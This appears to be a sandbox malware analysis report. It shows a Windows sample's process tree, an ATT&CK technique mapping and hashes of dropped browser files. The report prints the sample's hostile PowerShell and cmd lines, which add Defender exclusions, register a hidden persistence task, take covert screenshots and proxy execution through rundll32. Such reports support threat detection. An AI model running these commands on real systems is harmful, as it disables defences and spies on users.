        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3972,i,7511228892406330941,1811962892846961327,524288 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=4060 /prefetch:14
        5⤵
        
        PID:8184
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4012,i,11541238093044969005,9727163852098110685,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=4100 /prefetch:1
        5⤵
        
        PID:6152
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4024,i,5308970036289222684,8955268819004141164,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=4048 /prefetch:9
        5⤵
        
        PID:1100
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=4056,i,17773516431245302289,15364980407046532456,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:1
        5⤵
        
        PID:2640
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=4092,i,7341240567112534656,17514058269140052235,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=4376 /prefetch:1
        5⤵
        
        PID:1320
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=4132,i,10037746755042380679,15867189623945015986,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=4536 /prefetch:9
        5⤵
        
        PID:7152
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=4168,i,15099825335250892883,4157849384437999151,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=4540 /prefetch:1
        5⤵
        
        PID:4852
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=4072,i,15864439532479563051,14387565930144635701,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:9
        5⤵
        
        PID:7220
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=4200,i,8248969028770903869,8228142045012374879,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=4516 /prefetch:9
        5⤵
        
        PID:1128
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4228,i,15464644770170252925,7625318647488089091,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:1
        5⤵
        
        PID:7240
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\zefcva3j.fhn" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4260,i,4996845349374955663,6515730824377206262,2097152 --field-trial-handle=2424,i,784752274431109469,7282499573112422619,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:9
        5⤵
        
        PID:7252
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -C "Add-MpPreference -ExclusionExtension '.exe' -EA 0"
      4⤵
      PID:2836
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -C "Add-MpPreference -ExclusionExtension '.exe' -EA 0"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6796
  - - C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe
      "C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:7756
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe' $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'CoreWorker_cjnmQmKTOMnCzez-1209' -RunLevel Highest "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5040
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\MpDefenderCoreFolder'"
        5⤵
        
        PID:3436
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\MpDefenderCoreFolder'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783006216554.png\"); $g.Dispose(); $bmp.Dispose()""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:6660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783006216554.png\"); $g.Dispose(); $bmp.Dispose()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe""
    3⤵
    PID:2916
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe"
      4⤵
      PID:4724
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe""
    3⤵
    PID:2892
  - - C:\Windows\explorer.exe
      explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe"
      4⤵
      PID:6972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe""
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:1328
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe"
      4⤵
      System Binary Proxy Execution: Rundll32
      PID:6668
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe' -WindowStyle Hidden""
    3⤵
    - Hide Artifacts: Hidden Window
    PID:6404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6020
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783006226686.vbs""
    3⤵
    PID:4840
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783006226686.vbs"
      4⤵
      PID:2980
    - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:6736

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:2008

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5568
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:5736

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6968

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5812

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4236

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5004

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:7312

C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe
C:\Users\Admin\AppData\Local\MpDefenderCoreFolder\CoreWorker_cjnmQmKTOMnCzez.exe
1⤵
- Executes dropped EXE
PID:2640

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 10KB
SHA256 7c930532fea4beb4e0696ddaf93344ed0bc44dcdbda5837eea6b82defc82367b
MD5 98342b392dcb67c7e58b3376286db618
SHA1 9177e8ad3ec2a2d14a95c6971037d1a60ef54fee
SHA512 d4fdfba7b515ced750254c5c5f382cb8339d7e39b9d096783026f2855f24055297692586bf2b9740c071408255268dac0d9e9ca716aaff2ae806ecc4f1dd5a44
SSDEEP 192:3R/1n/ljQv7j5lvAPRp2h9BHsb+WNngVPjQeXtVyIsnAUgR:3R/1nVMn5l6X6vwGPlR
TLSH
T13522B82EAE10693F5DCBC22AFE617753E7F5012125902E84FAFC8A2C16D79CD2217427
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 6668d2fa07e36977cd6f331d4673b429d509b3e75dd7c21a3e250d8b04791cb9
MD5 b4badd88ff4098491502b97581f8d3d3
SHA1 a95649a645722b731c2a95400f8b61dfa98f934a
SHA512 2cd584b3bb980ac17255d1439522389517724618d28e7173d74ef469641f4348c6814a390db75aeca62e46c49e5eec8e9c74fcfce6bc985adb11403c9334978b
SSDEEP 192:eYT4K6iw7KxkXqK4I40pUZNCgVLHrKHfFKslEzAyXzKD/pw+ErUkKN9vonHsyoRI:9Tjhw7KxkXqKf/pUZNCgVLH2HfgslNyp
TLSH
T16732E927A48D9E7F0FD8D50DCC166F4B6DB5029272680C34A6FB9D0403A57CE225A1FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 5e11972a1d47fbac1bbeca4f1e529d415222c183075c94e9f4cf46f23d8e5e58
MD5 ac65a640ef80330ab24f5fd39eb2c96e
SHA1 2a37e4761b953606b1907764c0dddfa34c17b760
SHA512 6c9101bc3b603657d71f9591176a2a26cd66ec9c346b9b6b5eb23a33cfa480ee7091ade8ff9e1d63e189171dd7dceb20e6d8763cc255a4ba758caf46ab242905
SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OOpX6cRq+LVumjwkVv:jeuvBnhJsueMEGvIW1DcP2OG3VumjnN
TLSH
T167D3984B3A743002EDE59A721CE050BB5E3C717D8F55A5D428B620698EF1963A23E0FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 a5e4cc44d698de94b488a2b0e386d375219d845431012fb3b03002501650f41f
MD5 acf7f1e906937bd6cdb8199e20171a42
SHA1 a0b566c51b6532e8056a83c0fb5333be67cd56d3
SHA512 949f4bb8442daae49defca4e6d5c4943c4c296f41c8375c390e2e9c1f6cec39125b74702404d84bbaf5f6a97b8747160ed7b07ecdeddad9a9a889cd85847a81f
SSDEEP 96:1OlC6Fd+iT7Z+HXQ5U6fqlY6GCuXoRDotok5b5D0QB6AGyv8LMAhbubV4a:1ACy93OQ32DUDNNkvMAhbu5
TLSH
T18BA10A32A47D9D7760BAE945B6123B5BCF78212BE661AE88EDDC0B0C15E70E80341633
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 5KB
SHA256 39fa00067529f6624856b2d95c005eb21b4c3f3dc158dd511595c03c9ad3ba60
MD5 d445db61a45484b9c64cc7f37c56fdf6
SHA1 fd07091db55ecf58d1ec956b5155fa1254edadbe
SHA512 9e7d4f8ecbffc2828a7433c9ea15d4e36d2b86dbf009268c656a3b4ae636fdfdf65db6f5dc7606cd62bcbf2df8291b69004d99f6aae9776f1d0fd918c972717f
SSDEEP 96:1OVC6Bd+iT7Z+HXQ5U6fqlY6GoXOSl8h4otop5b5PD0QB6iGyv801VUQjNA50j9u:1iCy93OQ3viU25NKw1yQjNA5U+3
TLSH
T194C108B2E8AC9C7355F6E944B2176A47CEB8617BA655AE94D9DD0F0C02D70E90342233
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9ac04be28534ffc90f065c5357ca3a80ca723726cde5efb88f8a7e1a6b44baca
MD5 b73ee45352458e50358c0ccfe08f6cf9
SHA1 c9670f21ef5a19258323e88f363ca274d9b861a3
SHA512 a0988cd4a43f2f8fe9ab537054ce760518819b4a5b241855d7dd15687bd71afc74fa5b853542182d12a3a9aebcf68ff8590341f7237f1283b2b611b7b5610238
TLSH
T11DD012143718648BCD1A2571D8318381A666846125598F4560A1924D9D69493539A396
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7207f4c246d3ac882ff42358926e52b8316dd22bb03c5644ebc6f2dbc1168a28
MD5 b7329a74f1fa351c02d17b8e2692e575
SHA1 ef3d4b0eaaee583b5233cc6fc44fd331077feaf2
SHA512 650d63f3a2e065e3c2e4933483e10d79ab609f116a4e0bf7e107adff2025a85d1c77c68f86e7604724ab7da540f31911cd91f5e49bbae26354b6446fe249827e
TLSH
T146D012143718648BC91A2571D4318381A6668421215A8F4564A1D24D9D69493A39A392
MD5 SHA1 SHA512 TLSH

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 8c4b769c1e7c5f26039ea4be106634cc912eb02aad1b0f2d75b356b0294a628c
MD5 a4f289a957aab40ba7039a912912fcf2
SHA1 02b7edea627ec0efa57ad2abab0f9ed649a6bddf
SHA512 39e208ce589363d4f9856d117971515078d4be279b9351733bcec0cf950bbf8957b0b1edd9ec10a79ba7b87f727a797cfa30d996106a7f581850433668c94f1c
TLSH
T1A5E022A6C861EC2F08F91B192170569FEB54131A2B40594BBB3C820C8FB163F098692C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 a204794891dc606dc18146d35cc3d531c7af3047312d13d0e81a4bc546306bcf
MD5 904416e2698164e4a04cd675d3570f5e
SHA1 a6562a6835a2a1e5f238db111894df5c507a4cd3
SHA512 46ea9561459d460d83081d11df031d3b337f4b1b3a72a9a4ec1fd4948b120c341cba57308c173077fbc58d5efca45e708f9cb4d0c06c7a5152a1cba973a92721
TLSH
T1D651CEF7C3E4866DD91195F0AA187E1BCE2C0915832C3C5AC5E0AF5B93E2471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 1e1399d715b95f63dab261c16cd0cf9ac9d73c08740ef4a75dd232bffa9c35e6
MD5 f05149fc86ca4e9dc1836866d25eda76
SHA1 c06c38b4c7623607802b24b89388103d861c9009
SHA512 1b8cd4a0880d1a0a573a6020ec836149cc4affa809bf07c429f9a220ce9ca78191c7661c91de922d06ddabf59813b74ae8b6ef4b9c94451fed6b28e5a827d0c8
